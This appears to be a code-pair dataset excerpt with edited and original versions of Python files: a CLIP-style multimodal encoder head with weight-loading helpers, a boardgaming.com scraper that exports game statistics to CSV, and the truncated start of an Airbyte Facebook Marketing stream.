edited_code stringlengths 17 978k | original_code stringlengths 17 978k |
|---|---|
from fvcore.common.registry import Registry
from omegaconf.listconfig import ListConfig
from collections import OrderedDict
import re
import math
import copy
import threading
import numpy as np
import torch
import torch.nn.functional as F
from torch import nn
from .. import (
build_encoder_module, interp_clip_vp_embedding, interp_conv_weight_spatial
)
from .audio_head import position_resolution, load_pos_embedding
""" The idea is to abstract an encoding head as a four-layer encoder.
(1) backbone encoder (most likely to be shared)
(2-3) modality-specific pre- / post-encoding layer
(4) class / positional embedding (likely to be shared)
"""
class MetaHead(nn.Module):
def __init__(self, cfg, **kwargs):
super().__init__()
keep_hp = kwargs.pop("keep_hp", False)
reference = kwargs.pop("reference", None)
shared_modules = kwargs.pop("shared_modules", [])
kwargs.update({
"width": cfg.width, "embed_dim": cfg.embed_dim,
"ctx_len": cfg.ctx_len, "resolution": cfg.resolution
}) # shared hyperparameters
self.encoder = (
build_encoder_module(cfg.encoder, **kwargs)
#if "encoder" not in shared_modules else reference.encoder
) # backbone
self.pre_encoder = (
build_encoder_module(cfg.pre_encoder, **kwargs)
#if "pre_encoder" not in shared_modules else reference.pre_encoder
)
self.post_encoder = (
build_encoder_module(cfg.post_encoder, **kwargs)
#if "post_encoder" not in shared_modules else reference.post_encoder
)
self.pre_encoder_addon = build_encoder_module(
cfg.pre_encoder_addon, **kwargs
) # in-between `pre_encoder` & `encoder`
self.post_encoder_addon = build_encoder_module(
cfg.post_encoder_addon, **kwargs
) # in-between `encoder` & `post_encoder`
# have to build all modules to get `position_resolution`, even though
# we will probably replace all the modules by those of the `reference`
position_resolution = (
self.pre_encoder.position_resolution or \
self.encoder.position_resolution or \
self.post_encoder.position_resolution
)
kwargs.update({
"position_resolution": position_resolution
})
self.misc = build_encoder_module(cfg.misc, **kwargs)
# time to share modules
#self.replace_modules(shared_modules, reference, keep_hp=keep_hp)
def replace_modules(self, shared_modules=[], reference=None, keep_hp=False, **kwargs):
""" keep_hp: keep selected hyperparameters
"""
if len(shared_modules) < 1 or reference is None:
return []
module_list = ["encoder", "pre_encoder", "post_encoder", "misc"]
ref_modules = list()
for module in module_list:
if module not in shared_modules:
continue
ref_modules.append(module)
self_module = eval(f"self.{module}")
refr_module = eval(f"reference.{module}")
#print(f"RP A {module} {self_module.hp} {refr_module.hp} {self_module == refr_module}")
if hasattr(self_module, "replace_modules"):
self_module.replace_modules(refr_module, keep_hp=keep_hp)
new_self_module = eval(f"self.{module}")
#print(f"RP B {module} {self_module.hp} {refr_module.hp} {self_module == refr_module} {new_self_module == refr_module}")
else: # via reference, not recommended
hp = self_module.hp
exec(f"self.{module} = reference.{module}") # modified via reference
if keep_hp:
exec(f"self.{module}.hp = {hp}") # so the `reference` is modified
new_self_module = eval(f"self.{module}")
#print(f"RP C {module} {self_module.hp} {refr_module.hp} {self_module == refr_module} {new_self_module == refr_module}")
return ref_modules
def forward(self, x: torch.Tensor, *args, **kwargs):
kwargs.update({
"positional_embedding": self.misc.pos_embedding,
"class_embedding": self.misc.cls_embedding,
"position_resolution": self.misc.position_resolution
})
x = self.pre_encoder(x, **kwargs) # (N, L, D)
x = self.pre_encoder_addon(x, **kwargs) # (N, L, D)
# TODO assumed 3d `x`
x = x.permute(1, 0, 2) if not self.encoder.batch_first else x # (N, L, D) -> (L, N, D)
x = self.encoder(x, **kwargs)
x = x.permute(1, 0, 2) if not self.encoder.batch_first else x # (L, N, D) -> (N, L, D)
mask = self.pre_encoder.mask #or self.encoder.mask # text) postion of cls token; audio/image) ?
x = self.post_encoder_addon(x, **kwargs)
x = self.post_encoder(x, mask=mask, **kwargs)
if kwargs.get("normalized", False):
x = x / x.norm(dim=-1, keepdim=True)
#print(f"{threading.current_thread().ident} x --{kwargs.get("normalized", False)}")
return x
class CLIPImageHead(MetaHead):
def __init__(self, cfg, **kwargs):
super().__init__(cfg, **kwargs)
def copy_state_dict(self, state_dict):
if not self.encoder.batch_first: # TransformerBackbone
pre_keys = {"conv1.weight"}
post_keys = {"proj"}
misc_keys = {"positional_embedding", "class_embedding"}
old_dict = OrderedDict()
for k, v in state_dict.items():
if k in pre_keys:
k = f"pre_encoder.{k}"
elif k in post_keys:
k = f"post_encoder.{k}"
elif k in misc_keys:
k = f"misc.{k}"
else:
#k = re.sub("^ln_\w+\.", "ln.", k)
k = re.sub("^transformer\.", "encoder.", k)
k = re.sub("^ln_pre\.", "pre_encoder.ln.", k)
k = re.sub("^ln_post\.", "post_encoder.ln.", k)
old_dict[k] = v
else: # ResNetBackbone
old_dict = OrderedDict()
for k, v in state_dict.items():
if re.match("layer\d+\.", k):
k = f"encoder.{k}"
elif re.match("attnpool\.", k):
k = re.sub("^attnpool\.", "post_encoder.", k)
else:
k = f"pre_encoder.{k}"
old_dict[k] = v
pos_key = "post_encoder.positional_embedding"
new_key = "misc." + pos_key.rsplit(".")[-1]
old_dict[new_key] = old_dict.pop(pos_key)
new_dict = self.state_dict()
new_keys = set(new_dict.keys())
old_keys = set(old_dict.keys())
new_dict.update(old_dict)
self.load_state_dict(new_dict)
n_o = new_keys - old_keys
o_n = old_keys - new_keys
#print(f"{n_o}\n{o_n}")
return n_o, o_n
class CLIPAudioHead(MetaHead):
def __init__(self, cfg, **kwargs):
super().__init__(cfg, **kwargs)
def from_pretrained(self, state_dict, cfg, *args, **kwargs):
excluded = ["misc.positional_embedding"]
new_dict = self.state_dict()
old_dict = {k: v for k, v in state_dict.items() if k not in excluded}
# interpolate positional embedding
key = "misc.positional_embedding"
new_pos_shape = self.misc.position_resolution
old_pos_shape = position_resolution(
cfg.model.audio.resolution, cfg.model.audio.pre_encoder.patch_size, cfg.model.audio.pre_encoder.stride
) # nrow always indicates the time dimenstion
#print(new_dict[key].shape, state_dict[key].shape, new_pos_shape, old_pos_shape)
if state_dict[key].shape[0] in {50, 197}: # from vision encoder TODO could be wrong
state_dict[key] = interp_clip_vp_embedding(
state_dict.pop(key), old_pos_shape
) # pos embed inherited from vision encoder
n_o, o_n = load_pos_embedding(
state_dict, old_dict, new_dict, key, 1, old_pos_shape, new_pos_shape
)
self.load_state_dict(new_dict)
return n_o, o_n
def copy_state_dict(self, state_dict):
if not self.encoder.batch_first: # TransformerBackbone
pre_keys = {"conv1.weight"}
post_keys = {"proj"}
misc_keys = {"positional_embedding", "class_embedding"}
old_dict = OrderedDict()
for k, v in state_dict.items():
if k in pre_keys:
k = f"pre_encoder.{k}"
elif k in post_keys:
k = f"post_encoder.{k}"
elif k in misc_keys:
k = f"misc.{k}"
else:
#k = re.sub("^ln_\w+\.", "ln.", k)
k = re.sub("^transformer\.", "encoder.", k)
k = re.sub("^ln_pre\.", "pre_encoder.ln.", k)
k = re.sub("^ln_post\.", "post_encoder.ln.", k)
old_dict[k] = v
# interpolation
pos_key = "misc.positional_embedding"
old_dict[pos_key] = interp_clip_vp_embedding(
old_dict.pop(pos_key), self.misc.position_resolution
)
else: # ResNetBackbone
old_dict = OrderedDict()
for k, v in state_dict.items():
if re.match("layer\d+\.", k):
k = f"encoder.{k}"
elif re.match("attnpool\.", k):
k = re.sub("^attnpool\.", "post_encoder.", k)
else:
k = f"pre_encoder.{k}"
old_dict[k] = v
# interpolation
pos_key = "post_encoder.positional_embedding"
new_key = "misc." + pos_key.rsplit(".")[-1]
old_dict[new_key] = interp_clip_vp_embedding(
old_dict.pop(pos_key), self.misc.position_resolution
)
# take care of conv1
new_dict = self.state_dict()
conv_key = "pre_encoder.conv1.weight"
conv_weight = interp_conv_weight_spatial(old_dict[conv_key], new_dict[conv_key].shape[-2:])
use_mean = new_dict[conv_key].shape[1] != 1
old_dict[conv_key] = conv_weight if use_mean else conv_weight.mean(1, keepdim=True)
# update
new_keys = set(new_dict.keys())
old_keys = set(old_dict.keys())
new_dict.update(old_dict)
self.load_state_dict(new_dict)
n_o = new_keys - old_keys
o_n = old_keys - new_keys
#print(f"{n_o}\n{o_n}")
return n_o, o_n
class CLIPTextHead(MetaHead):
def __init__(self, cfg, **kwargs):
super().__init__(cfg, **kwargs)
self.initialize_parameters()
def initialize_parameters(self):
pass #nn.init.normal_(self.positional_embedding, std=0.01)
def copy_state_dict(self, state_dict):
pre_keys = {"token_embedding.weight"}
post_keys = {}
misc_keys = {"positional_embedding"}
old_dict = OrderedDict()
for k, v in state_dict.items():
if k in pre_keys:
k = f"pre_encoder.{k}"
elif k in post_keys:
k = f"post_encoder.{k}"
elif k in misc_keys:
k = f"misc.{k}"
else:
#k = re.sub("^ln_\w+\.", "ln.", k)
k = re.sub("^transformer\.", "encoder.", k)
k = re.sub("^ln_final\.", "post_encoder.ln.", k)
k = re.sub("^text_projection", "post_encoder.proj", k)
old_dict[k] = v
new_dict = self.state_dict()
# TODO better via interpolation
pos_key = "misc.positional_embedding"
old_num = old_dict[pos_key].shape[0]
new_num = new_dict[pos_key].shape[0]
if old_num >= new_num:
old_dict[pos_key] = old_dict.pop(pos_key)[:new_num]
else:
new_dict[pos_key][:old_num] = old_dict.pop(pos_key)
old_dict[pos_key] = new_dict[pos_key] # unnecessary
new_keys = set(new_dict.keys())
old_keys = set(old_dict.keys())
new_dict.update(old_dict)
self.load_state_dict(new_dict)
n_o = new_keys - old_keys
o_n = old_keys - new_keys
#print(f"{n_o}\n{o_n}")
return n_o, o_n
| from fvcore.common.registry import Registry
from omegaconf.listconfig import ListConfig
from collections import OrderedDict
import re
import math
import copy
import threading
import numpy as np
import torch
import torch.nn.functional as F
from torch import nn
from .. import (
build_encoder_module, interp_clip_vp_embedding, interp_conv_weight_spatial
)
from .audio_head import position_resolution, load_pos_embedding
""" The idea is to abstract an encoding head as a four-layer encoder.
(1) backbone encoder (most likely to be shared)
(2-3) modality-specific pre- / post-encoding layer
(4) class / positional embedding (likely to be shared)
"""
class MetaHead(nn.Module):
def __init__(self, cfg, **kwargs):
super().__init__()
keep_hp = kwargs.pop("keep_hp", False)
reference = kwargs.pop("reference", None)
shared_modules = kwargs.pop("shared_modules", [])
kwargs.update({
"width": cfg.width, "embed_dim": cfg.embed_dim,
"ctx_len": cfg.ctx_len, "resolution": cfg.resolution
}) # shared hyperparameters
self.encoder = (
build_encoder_module(cfg.encoder, **kwargs)
#if "encoder" not in shared_modules else reference.encoder
) # backbone
self.pre_encoder = (
build_encoder_module(cfg.pre_encoder, **kwargs)
#if "pre_encoder" not in shared_modules else reference.pre_encoder
)
self.post_encoder = (
build_encoder_module(cfg.post_encoder, **kwargs)
#if "post_encoder" not in shared_modules else reference.post_encoder
)
self.pre_encoder_addon = build_encoder_module(
cfg.pre_encoder_addon, **kwargs
) # in-between `pre_encoder` & `encoder`
self.post_encoder_addon = build_encoder_module(
cfg.post_encoder_addon, **kwargs
) # in-between `encoder` & `post_encoder`
# have to build all modules to get `position_resolution`, even though
# we will probably replace all the modules by those of the `reference`
position_resolution = (
self.pre_encoder.position_resolution or \
self.encoder.position_resolution or \
self.post_encoder.position_resolution
)
kwargs.update({
"position_resolution": position_resolution
})
self.misc = build_encoder_module(cfg.misc, **kwargs)
# time to share modules
#self.replace_modules(shared_modules, reference, keep_hp=keep_hp)
def replace_modules(self, shared_modules=[], reference=None, keep_hp=False, **kwargs):
""" keep_hp: keep selected hyperparameters
"""
if len(shared_modules) < 1 or reference is None:
return []
module_list = ["encoder", "pre_encoder", "post_encoder", "misc"]
ref_modules = list()
for module in module_list:
if module not in shared_modules:
continue
ref_modules.append(module)
self_module = eval(f"self.{module}")
refr_module = eval(f"reference.{module}")
#print(f"RP A {module} {self_module.hp} {refr_module.hp} {self_module == refr_module}")
if hasattr(self_module, "replace_modules"):
self_module.replace_modules(refr_module, keep_hp=keep_hp)
new_self_module = eval(f"self.{module}")
#print(f"RP B {module} {self_module.hp} {refr_module.hp} {self_module == refr_module} {new_self_module == refr_module}")
else: # via reference, not recommended
hp = self_module.hp
exec(f"self.{module} = reference.{module}") # modified via reference
if keep_hp:
exec(f"self.{module}.hp = {hp}") # so the `reference` is modified
new_self_module = eval(f"self.{module}")
#print(f"RP C {module} {self_module.hp} {refr_module.hp} {self_module == refr_module} {new_self_module == refr_module}")
return ref_modules
def forward(self, x: torch.Tensor, *args, **kwargs):
kwargs.update({
"positional_embedding": self.misc.pos_embedding,
"class_embedding": self.misc.cls_embedding,
"position_resolution": self.misc.position_resolution
})
x = self.pre_encoder(x, **kwargs) # (N, L, D)
x = self.pre_encoder_addon(x, **kwargs) # (N, L, D)
# TODO assumed 3d `x`
x = x.permute(1, 0, 2) if not self.encoder.batch_first else x # (N, L, D) -> (L, N, D)
x = self.encoder(x, **kwargs)
x = x.permute(1, 0, 2) if not self.encoder.batch_first else x # (L, N, D) -> (N, L, D)
mask = self.pre_encoder.mask #or self.encoder.mask # text) postion of cls token; audio/image) ?
x = self.post_encoder_addon(x, **kwargs)
x = self.post_encoder(x, mask=mask, **kwargs)
if kwargs.get("normalized", False):
x = x / x.norm(dim=-1, keepdim=True)
#print(f"{threading.current_thread().ident} x --{kwargs.get('normalized', False)}")
return x
class CLIPImageHead(MetaHead):
def __init__(self, cfg, **kwargs):
super().__init__(cfg, **kwargs)
def copy_state_dict(self, state_dict):
if not self.encoder.batch_first: # TransformerBackbone
pre_keys = {"conv1.weight"}
post_keys = {"proj"}
misc_keys = {"positional_embedding", "class_embedding"}
old_dict = OrderedDict()
for k, v in state_dict.items():
if k in pre_keys:
k = f"pre_encoder.{k}"
elif k in post_keys:
k = f"post_encoder.{k}"
elif k in misc_keys:
k = f"misc.{k}"
else:
#k = re.sub("^ln_\w+\.", "ln.", k)
k = re.sub("^transformer\.", "encoder.", k)
k = re.sub("^ln_pre\.", "pre_encoder.ln.", k)
k = re.sub("^ln_post\.", "post_encoder.ln.", k)
old_dict[k] = v
else: # ResNetBackbone
old_dict = OrderedDict()
for k, v in state_dict.items():
if re.match("layer\d+\.", k):
k = f"encoder.{k}"
elif re.match("attnpool\.", k):
k = re.sub("^attnpool\.", "post_encoder.", k)
else:
k = f"pre_encoder.{k}"
old_dict[k] = v
pos_key = "post_encoder.positional_embedding"
new_key = "misc." + pos_key.rsplit(".")[-1]
old_dict[new_key] = old_dict.pop(pos_key)
new_dict = self.state_dict()
new_keys = set(new_dict.keys())
old_keys = set(old_dict.keys())
new_dict.update(old_dict)
self.load_state_dict(new_dict)
n_o = new_keys - old_keys
o_n = old_keys - new_keys
#print(f"{n_o}\n{o_n}")
return n_o, o_n
class CLIPAudioHead(MetaHead):
def __init__(self, cfg, **kwargs):
super().__init__(cfg, **kwargs)
def from_pretrained(self, state_dict, cfg, *args, **kwargs):
excluded = ["misc.positional_embedding"]
new_dict = self.state_dict()
old_dict = {k: v for k, v in state_dict.items() if k not in excluded}
# interpolate positional embedding
key = "misc.positional_embedding"
new_pos_shape = self.misc.position_resolution
old_pos_shape = position_resolution(
cfg.model.audio.resolution, cfg.model.audio.pre_encoder.patch_size, cfg.model.audio.pre_encoder.stride
) # nrow always indicates the time dimenstion
#print(new_dict[key].shape, state_dict[key].shape, new_pos_shape, old_pos_shape)
if state_dict[key].shape[0] in {50, 197}: # from vision encoder TODO could be wrong
state_dict[key] = interp_clip_vp_embedding(
state_dict.pop(key), old_pos_shape
) # pos embed inherited from vision encoder
n_o, o_n = load_pos_embedding(
state_dict, old_dict, new_dict, key, 1, old_pos_shape, new_pos_shape
)
self.load_state_dict(new_dict)
return n_o, o_n
def copy_state_dict(self, state_dict):
if not self.encoder.batch_first: # TransformerBackbone
pre_keys = {"conv1.weight"}
post_keys = {"proj"}
misc_keys = {"positional_embedding", "class_embedding"}
old_dict = OrderedDict()
for k, v in state_dict.items():
if k in pre_keys:
k = f"pre_encoder.{k}"
elif k in post_keys:
k = f"post_encoder.{k}"
elif k in misc_keys:
k = f"misc.{k}"
else:
#k = re.sub("^ln_\w+\.", "ln.", k)
k = re.sub("^transformer\.", "encoder.", k)
k = re.sub("^ln_pre\.", "pre_encoder.ln.", k)
k = re.sub("^ln_post\.", "post_encoder.ln.", k)
old_dict[k] = v
# interpolation
pos_key = "misc.positional_embedding"
old_dict[pos_key] = interp_clip_vp_embedding(
old_dict.pop(pos_key), self.misc.position_resolution
)
else: # ResNetBackbone
old_dict = OrderedDict()
for k, v in state_dict.items():
if re.match("layer\d+\.", k):
k = f"encoder.{k}"
elif re.match("attnpool\.", k):
k = re.sub("^attnpool\.", "post_encoder.", k)
else:
k = f"pre_encoder.{k}"
old_dict[k] = v
# interpolation
pos_key = "post_encoder.positional_embedding"
new_key = "misc." + pos_key.rsplit(".")[-1]
old_dict[new_key] = interp_clip_vp_embedding(
old_dict.pop(pos_key), self.misc.position_resolution
)
# take care of conv1
new_dict = self.state_dict()
conv_key = "pre_encoder.conv1.weight"
conv_weight = interp_conv_weight_spatial(old_dict[conv_key], new_dict[conv_key].shape[-2:])
use_mean = new_dict[conv_key].shape[1] != 1
old_dict[conv_key] = conv_weight if use_mean else conv_weight.mean(1, keepdim=True)
# update
new_keys = set(new_dict.keys())
old_keys = set(old_dict.keys())
new_dict.update(old_dict)
self.load_state_dict(new_dict)
n_o = new_keys - old_keys
o_n = old_keys - new_keys
#print(f"{n_o}\n{o_n}")
return n_o, o_n
class CLIPTextHead(MetaHead):
def __init__(self, cfg, **kwargs):
super().__init__(cfg, **kwargs)
self.initialize_parameters()
def initialize_parameters(self):
pass #nn.init.normal_(self.positional_embedding, std=0.01)
def copy_state_dict(self, state_dict):
pre_keys = {"token_embedding.weight"}
post_keys = {}
misc_keys = {"positional_embedding"}
old_dict = OrderedDict()
for k, v in state_dict.items():
if k in pre_keys:
k = f"pre_encoder.{k}"
elif k in post_keys:
k = f"post_encoder.{k}"
elif k in misc_keys:
k = f"misc.{k}"
else:
#k = re.sub("^ln_\w+\.", "ln.", k)
k = re.sub("^transformer\.", "encoder.", k)
k = re.sub("^ln_final\.", "post_encoder.ln.", k)
k = re.sub("^text_projection", "post_encoder.proj", k)
old_dict[k] = v
new_dict = self.state_dict()
# TODO better via interpolation
pos_key = "misc.positional_embedding"
old_num = old_dict[pos_key].shape[0]
new_num = new_dict[pos_key].shape[0]
if old_num >= new_num:
old_dict[pos_key] = old_dict.pop(pos_key)[:new_num]
else:
new_dict[pos_key][:old_num] = old_dict.pop(pos_key)
old_dict[pos_key] = new_dict[pos_key] # unnecessary
new_keys = set(new_dict.keys())
old_keys = set(old_dict.keys())
new_dict.update(old_dict)
self.load_state_dict(new_dict)
n_o = new_keys - old_keys
o_n = old_keys - new_keys
#print(f"{n_o}\n{o_n}")
return n_o, o_n
|
from urllib.request import urlopen
from bs4 import BeautifulSoup
import pandas as pd
def divider_tag(tag):
tag = tag[tag.find('>') + 1:tag.find('</')]
if len(tag) == 0:
tag = '-'
return tag
def attach(names):
result = ''
if len(names) != 1:
for i in range(len(names)):
if i != len(names) - 1:
result += names[i] + ', '
else:
return result + names[i]
return names[0]
def scraping(website):
html = urlopen(website)
bs = BeautifulSoup(html, "html.parser")
data = {
'Game Name' : '',
'Score' : '',
'Published date' : '',
'author' : '',
'Vote' : '',
'Number of Players' : '',
'Age range' : '',
'Game time' : '',
'Favorite' : '',
'Want it' : '',
'Own it' : '',
'Follow' : '',
'Played it' : '',
'Heart it' : ''
}
data['Game Name'] = divider_tag(str(bs.findAll('h1')))
data['Score'] = divider_tag(str(bs.findAll('span', {'class' : 'average'})))
data['Published date'] = str(bs.findAll('div', {'class' : 'meta'}))[:str(bs.findAll('div', {'class' : 'meta'})).find('<div class="game-tags">')].strip().split(':')[-1]
author = bs.findAll('a', {'rel' : 'tag'})
author_name = []
for i in range(len(author)):
if 'https://boardgaming.com/publishers/' in str(author[i].attrs['href']):
author_name.append(divider_tag(str(author[i])))
data['author'] = attach(author_name)
data['Vote'] = divider_tag(str(bs.findAll('div', {'class' : 'votes'})))
data['Number of Players'] = divider_tag(str(bs.findAll('div', {'id' : 'detail-icon-players'})))
data['Age range'] = divider_tag(str(bs.findAll('div', {'id' : 'detail-icon-age'})))
data['Game time'] = divider_tag(str(bs.findAll('div', {'id' : 'detail-icon-time'})))
other_info = str(bs.findAll('span', {'class' : 'stat'})).split(',')
data['Own it'] = divider_tag(other_info[0])
data['Want it'] = divider_tag(other_info[1])
data['Favorite'] = divider_tag(other_info[2])
data['Heart it'] = divider_tag(other_info[3])
data['Played it'] = divider_tag(other_info[4])
data['Follow'] = divider_tag(other_info[5])
return data
def Link_extractor(page_link):
html = urlopen(page_link)
bs = BeautifulSoup(html, "html.parser")
link = bs.findAll('a')
links = []
for i in range(len(link)):
#link[i] = str(link[i])
if 'boardgaming.com/games/card-games/' in str(link[i]) or 'boardgaming.com/games/board-games/' in str(link[i]) or 'boardgaming.com/games/' in str(link[i]):
if 'href' in str(link[i]) and 'title' in str(link[i]):
if not 'class' in str(link[i]) and not 'img' in str(link[i]):
links.append(link[i].attrs['href'])
#print(link[i].attrs['href'])
return links
html = urlopen('https://boardgaming.com/category/games/board-games')
bs = BeautifulSoup(html, "html.parser")
pages = int(str(bs.findAll('div', {'class' : 'pagination'}))[str(bs.findAll('div', {'class' : 'pagination'})).find('Page 1 of') + 10 : str(bs.findAll('div', {'class' : 'pagination'})).find('Page 1 of') + 13])
print(str(pages) + ' Pages')
info = [
['Game Name'],
['Score'],
['Published date'],
['author'],
['Vote'],
['Number of Players'],
['Age range'],
['Game time'],
['Own it'],
['Want it'],
['Favorite'],
['Heart it'],
['Played it'],
['Follow']
]
for i in range(28,29):
links = Link_extractor('https://boardgaming.com/category/games/board-games/page/' + str(i + 1))
print('Page ' + str(i + 1) + ' Started')
for link in links:
link_data = scraping(link)
for j in range(len(info)):
info[j].append(link_data[info[j][0]])
#print(info)
print('Page ' + str(i + 1) + ' Completed!')
#print(info)
for i in range(len(info)):
info[i] = info[i][1:]
data = {'Game Name': info[0],
'Score': info[1],
'Published date': info[2],
'author': info[3],
'Vote': info[4],
'Number of Players': info[5],
'Age range': info[6],
'Game time': info[7],
'Own it': info[8],
'Want it': info[9],
'Favorite': info[10],
'Heart it': info[11],
'Played it': info[12],
'Follow': info[13],
}
df = pd.DataFrame(data)
df.to_csv('export2.csv', index=False)
print('File Saved!') | from urllib.request import urlopen
from bs4 import BeautifulSoup
import pandas as pd
def divider_tag(tag):
tag = tag[tag.find('>') + 1:tag.find('</')]
if len(tag) == 0:
tag = '-'
return tag
def attach(names):
result = ''
if len(names) != 1:
for i in range(len(names)):
if i != len(names) - 1:
result += names[i] + ', '
else:
return result + names[i]
return names[0]
def scraping(website):
html = urlopen(website)
bs = BeautifulSoup(html, "html.parser")
data = {
'Game Name' : '',
'Score' : '',
'Published date' : '',
'author' : '',
'Vote' : '',
'Number of Players' : '',
'Age range' : '',
'Game time' : '',
'Favorite' : '',
'Want it' : '',
'Own it' : '',
'Follow' : '',
'Played it' : '',
'Heart it' : ''
}
data['Game Name'] = divider_tag(str(bs.findAll('h1')))
data['Score'] = divider_tag(str(bs.findAll('span', {'class' : 'average'})))
data['Published date'] = str(bs.findAll('div', {'class' : 'meta'}))[:str(bs.findAll('div', {'class' : 'meta'})).find('<div class="game-tags">')].strip().split(':')[-1]
author = bs.findAll('a', {'rel' : 'tag'})
author_name = []
for i in range(len(author)):
if 'https://boardgaming.com/publishers/' in str(author[i].attrs['href']):
author_name.append(divider_tag(str(author[i])))
data['author'] = attach(author_name)
data['Vote'] = divider_tag(str(bs.findAll('div', {'class' : 'votes'})))
data['Number of Players'] = divider_tag(str(bs.findAll('div', {'id' : 'detail-icon-players'})))
data['Age range'] = divider_tag(str(bs.findAll('div', {'id' : 'detail-icon-age'})))
data['Game time'] = divider_tag(str(bs.findAll('div', {'id' : 'detail-icon-time'})))
other_info = str(bs.findAll('span', {'class' : 'stat'})).split(',')
data['Own it'] = divider_tag(other_info[0])
data['Want it'] = divider_tag(other_info[1])
data['Favorite'] = divider_tag(other_info[2])
data['Heart it'] = divider_tag(other_info[3])
data['Played it'] = divider_tag(other_info[4])
data['Follow'] = divider_tag(other_info[5])
return data
def Link_extractor(page_link):
html = urlopen(page_link)
bs = BeautifulSoup(html, "html.parser")
link = bs.findAll('a')
links = []
for i in range(len(link)):
#link[i] = str(link[i])
if 'boardgaming.com/games/card-games/' in str(link[i]) or 'boardgaming.com/games/board-games/' in str(link[i]) or 'boardgaming.com/games/' in str(link[i]):
if 'href' in str(link[i]) and 'title' in str(link[i]):
if not 'class' in str(link[i]) and not 'img' in str(link[i]):
links.append(link[i].attrs['href'])
#print(link[i].attrs['href'])
return links
html = urlopen('https://boardgaming.com/category/games/board-games')
bs = BeautifulSoup(html, "html.parser")
pages = int(str(bs.findAll('div', {'class' : 'pagination'}))[str(bs.findAll('div', {'class' : 'pagination'})).find('Page 1 of') + 10 : str(bs.findAll('div', {'class' : 'pagination'})).find('Page 1 of') + 13])
print(str(pages) + ' Pages')
info = [
['Game Name'],
['Score'],
['Published date'],
['author'],
['Vote'],
['Number of Players'],
['Age range'],
['Game time'],
['Own it'],
['Want it'],
['Favorite'],
['Heart it'],
['Played it'],
['Follow']
]
for i in range(28,29):
links = Link_extractor('https://boardgaming.com/category/games/board-games/page/' + str(i + 1))
print('Page ' + str(i + 1) + ' Started')
for link in links:
link_data = scraping(link)
for j in range(len(info)):
info[j].append(link_data[info[j][0]])
#print(info)
print('Page ' + str(i + 1) + ' Completed!')
#print(info)
for i in range(len(info)):
info[i] = info[i][1:]
data = {'Game Name': info[0],
'Score': info[1],
'Published date': info[2],
'author': info[3],
'Vote': info[4],
'Number of Players': info[5],
'Age range': info[6],
'Game time': info[7],
'Own it': info[8],
'Want it': info[9],
'Favorite': info[10],
'Heart it': info[11],
'Played it': info[12],
'Follow': info[13],
}
df = pd.DataFrame(data)
df.to_csv('export2.csv', index=False)
print('File Saved!') |
#
# MIT License
#
# Copyright (c) 2020 Airbyte
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
import time
import urllib.parse as urlparse
from abc import ABC
from collections import deque
from datetime import datetime
from typing import Any, Iterable, Iterator, List, Mapping, MutableMapping, Optional, Sequence, Union
import backoff
import pendulum
from airbyte_cdk.models import SyncMode
from airbyte_cdk.sources.streams import Stream
from airbyte_cdk.sources.streams.core import package_name_from_class
from airbyte_cdk.sources.utils.schema_helpers import ResourceSchemaLoader
from cached_property import cached_property
from facebook_business.adobjects.adreportrun import AdReportRun
from facebook_business.api import FacebookAdsApiBatch, FacebookRequest, FacebookResponse
from facebook_business.exceptions import FacebookRequestError
from source_facebook_marketing.api import API
from .common import FacebookAPIException, JobTimeoutException, batch, deep_merge, retry_pattern
backoff_policy = retry_pattern(backoff.expo, FacebookRequestError, max_tries=5, factor=5)
def remove_params_from_url(url: str, params: List[str]) -> str:
"""
Parses a URL and removes the query parameters specified in params
:param url: URL
:param params: list of query parameters
:return: URL with params removed
"""
parsed = urlparse.urlparse(url)
query = urlparse.parse_qs(parsed.query, keep_blank_values=True)
filtered = dict((k, v) for k, v in query.items() if k not in params)
return urlparse.urlunparse(
[parsed.scheme, parsed.netloc, parsed.path, parsed.params, urlparse.urlencode(filtered, doseq=True), parsed.fragment]
)
class FBMarketingStream(Stream, ABC):
"""Base stream class"""
primary_key = "id"
page_size = 100
enable_deleted = False
entity_prefix = None
def __init__(self, api: API, include_deleted: bool = False, **kwargs):
super().__init__(**kwargs)
self._api = api
self._include_deleted = include_deleted if self.enable_deleted else False
@cached_property
def fields(self) -> List[str]:
"""List of fields that we want to query, for now just all properties from stream's schema"""
return list(self.get_json_schema().get("properties", {}).keys())
@backoff_policy
def execute_in_batch(self, requests: Iterable[FacebookRequest]) -> Sequence[MutableMapping[str, Any]]:
"""Execute list of requests in batches"""
records = []
def success(response: FacebookResponse):
records.append(response.json())
def failure(response: FacebookResponse):
raise response.error()
api_batch: FacebookAdsApiBatch = self._api.api.new_batch()
for request in requests:
api_batch.add_request(request, success=success, failure=failure)
retry_batch = api_batch.execute()
if retry_batch:
raise FacebookAPIException(f"Batch has failed {len(retry_batch)} requests")
return records
def read_records(
self,
sync_mode: SyncMode,
cursor_field: List[str] = None,
stream_slice: Mapping[str, Any] = None,
stream_state: Mapping[str, Any] = None,
) -> Iterable[Mapping[str, Any]]:
"""Main read method used by CDK"""
for record in self._read_records(params=self.request_params(stream_state=stream_state)):
yield self.transform(self._extend_record(record, fields=self.fields))
def transform(self, record: Mapping[str, Any]) -> Mapping[str, Any]:
"""
Use this method to remove update fields types in record according to schema.
"""
schema = self.get_json_schema()
self.convert_to_schema_types(record, schema["properties"])
return record
def get_python_type(self, _types: Union[list, str]) -> tuple:
"""Converts types from schema to python types. Examples:
- `["string", "null"]` will be converted to `(str,)`
- `["array", "string", "null"]` will be converted to `(list, str,)`
- `"boolean"` will be converted to `(bool,)`
"""
types_mapping = {
"string": str,
"number": float,
"integer": int,
"object": dict,
"array": list,
"boolean": bool,
}
if isinstance(_types, list):
return tuple([types_mapping[t] for t in _types if t != "null"])
